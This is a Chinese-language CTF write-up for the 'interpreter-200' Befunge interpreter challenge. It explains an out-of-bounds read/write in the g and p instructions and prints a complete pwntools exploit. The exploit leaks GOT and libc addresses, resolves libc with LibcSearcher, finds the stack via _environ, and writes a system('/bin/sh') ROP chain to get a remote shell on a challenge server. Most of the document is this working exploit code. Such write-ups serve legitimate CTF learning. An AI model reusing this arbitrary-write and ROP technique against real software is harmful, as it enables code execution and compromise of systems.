0%

interpreter-200

这是一个befunge程序解释器,befunge程序的语法参考https://www.jianshu.com/p/ed929cf72312,还有官方的文档在https://esolangs.org/wiki/Befunge

另外本文参考国外的一篇,加以自己的理解,做了简化

https://uaf.io/exploitation/2016/09/05/TokyoWesterns-MMA-Interpreter.html

首先,检查一下程序的保护机制,发现保护全开

然后,我们用IDA分析一下,看似挺复杂,漏洞点在这,数组可以越界

g指令是用于获取program+80v26+v27处一个字节数据压入栈里,而p指令用于在program+80v26+v27处写数据,

&指令用于从终端读取一个整数压入栈里

,指令用于输出栈顶一个字节数据

借助于这四条指令,我们可以实现任意地址读写。

首先,我们需要泄露一些数据,因此,我们的befunge指令这样

1
2
my_program = ('''''&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&&*g,&&&*g,AAAv 
vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&<\n''')

&&g,表示从终端输入两个数v27,v26,然后输出program+80v26+v27处的一字节数据,由于泄露libc里的数据时,偏移范围[超过了int的范围,因此,我们借助指令]{.mark}**,分步计算,即后面的&&&*g

当泄露完成后,我们就需要写数据,于是接下来的befunge指令是这样的

1
2
my_program += '>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv\n'  
my_program += '<&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&gAAAAAAAAAv'[::-1]

当我们把befunge指令输入完毕后,后面的操作就是正常的操作的了。按着指令步骤,我们先来泄露一些基本地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#消除前面的影响  
sh.recv()
#由于下标越界,我们可以泄露exit的got表内容,得到exit的地址
exit_ptr = ''
for i in range(-64,-56):
sh.sendline(str(i))
sh.sendline('-1')
exit_ptr += sh.recv(1)

#泄露program数组的地址,方便我们计算elf_base
program_ptr = ''
for i in range(-16,-8):
sh.sendline(str(i))
sh.sendline('-1')
program_ptr += sh.recv(1)

exit_addr = u64(exit_ptr)
program_addr = u64(program_ptr)
elf_base = program_addr - program_bss
pop_rdi_addr = elf_base + pop_rdi
libc = LibcSearcher('exit',exit_addr)
libc_base = exit_addr - libc.dump('exit')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'elf_base=',hex(elf_base)
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)

现在,基本信息已经有了,我们准备写ROP,但是我们不知道ROP该写在哪里,因此,我们还需要泄露栈地址,[如何泄露栈地址?]{.mark}

在libc中有一个_environ变量存储着栈地址,由于我们已经泄露了libc的基地址,因此我们可以知道_environ的地址,于是,我们需要可以_environ的内容,由于偏移过大,我们拆分,借助befunge的乘法运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
_environ = ''  
offset = _environ_ptr - program_addr
#显然,offset_x超出了int的范围,得借助于乘法
'''''offset_x = offset / 80
offset_y = offset - offset_x*80
'''
#泄露_environ的值
offset_x1 = offset / 80 / 10000
offset_x2 = 10000
offset_x = offset_x1 * offset_x2
offset_y = offset - offset_x*80
for y in range(offset_y,offset_y+8):
sh.sendline(str(y))
sh.sendline(str(offset_x1))
sh.sendline(str(offset_x2))
_environ += sh.recv(1)

_environ = u64(_environ)
#我们的ROP将写到此处
stack_addr = _environ - 0xF0

这样,我们就得到了栈地址,然后就是写ROP了,原理一样,我们得借助乘法来偏移位置

1
2
3
4
offset = stack_addr - program_addr  
write_stack(offset,pop_rdi_addr)
write_stack(offset+8,binsh_addr)
write_stack(offset+16,system_addr)

综上,我们完整的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding:utf8  
from pwn import *
from LibcSearcher import *

#sh = process('./befunge')
elf = ELF('./befunge')
program_bss = 0x202040
pop_rdi = 0x120c
sh = remote('111.198.29.45',32870)

#写栈数据,8字节
def write_stack(offset,data):
offset_x1 = offset / 80 / 10000
offset_x2 = 10000
offset_x = offset_x1 * offset_x2
offset_y = offset - offset_x*80
for y in range(offset_y,offset_y+8):
d = data & 0xFF
data = data >> 8
sh.sendline(str(d))
sh.sendline(str(y))
sh.sendline(str(offset_x1))
sh.sendline(str(offset_x2))


#这两行用于输入两个数用于计算目标地址,然后泄露目标地址处内容
my_program = ('''''&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&&*g,&&&*g,AAAv
vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&<\n''')
#写数据的程序
my_program += '>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv\n'
my_program += '<&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&gAAAAAAAAAv'[::-1]
print '==============================================the befunge program=============================='
print my_program
print '=============================================================================================='
sh.sendlineafter('>',my_program)

for i in range(23):
sh.sendlineafter('>','')

#消除前面的影响
sh.recv()
#由于下标越界,我们可以泄露exit的got表内容,得到exit的地址
exit_ptr = ''
for i in range(-64,-56):
sh.sendline(str(i))
sh.sendline('-1')
exit_ptr += sh.recv(1)

#泄露program数组的地址,方便我们计算elf_base
program_ptr = ''
for i in range(-16,-8):
sh.sendline(str(i))
sh.sendline('-1')
program_ptr += sh.recv(1)

exit_addr = u64(exit_ptr)
program_addr = u64(program_ptr)
elf_base = program_addr - program_bss
pop_rdi_addr = elf_base + pop_rdi
libc = LibcSearcher('exit',exit_addr)
libc_base = exit_addr - libc.dump('exit')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'elf_base=',hex(elf_base)
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
print 'pop_rdi_addr=',hex(pop_rdi_addr)

#通过上面的libcSearcher,我们确定了libc为2.23版本,所以,我们取libc2.23里面的pop rdi这个gadget
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#泄露_environ的值,我们可以得到栈地址,方便我们确定写ROP的位置
_environ_ptr = libc_base + libc.symbols['_environ']
_environ = ''
offset = _environ_ptr - program_addr
#显然,offset_x超出了int的范围,得借助于乘法
'''''offset_x = offset / 80
offset_y = offset - offset_x*80
'''
#泄露_environ的值
offset_x1 = offset / 80 / 10000
offset_x2 = 10000
offset_x = offset_x1 * offset_x2
offset_y = offset - offset_x*80
for y in range(offset_y,offset_y+8):
sh.sendline(str(y))
sh.sendline(str(offset_x1))
sh.sendline(str(offset_x2))
_environ += sh.recv(1)

_environ = u64(_environ)
#我们的ROP将写到此处
stack_addr = _environ - 0xF0
print 'stack_addr',hex(stack_addr)
offset = stack_addr - program_addr
write_stack(offset,pop_rdi_addr)
write_stack(offset+8,binsh_addr)
write_stack(offset+16,system_addr)

#getshell
sh.sendline(str(0))
sh.sendline(str(0))
sh.sendline('zhaohai')

sh.interactive()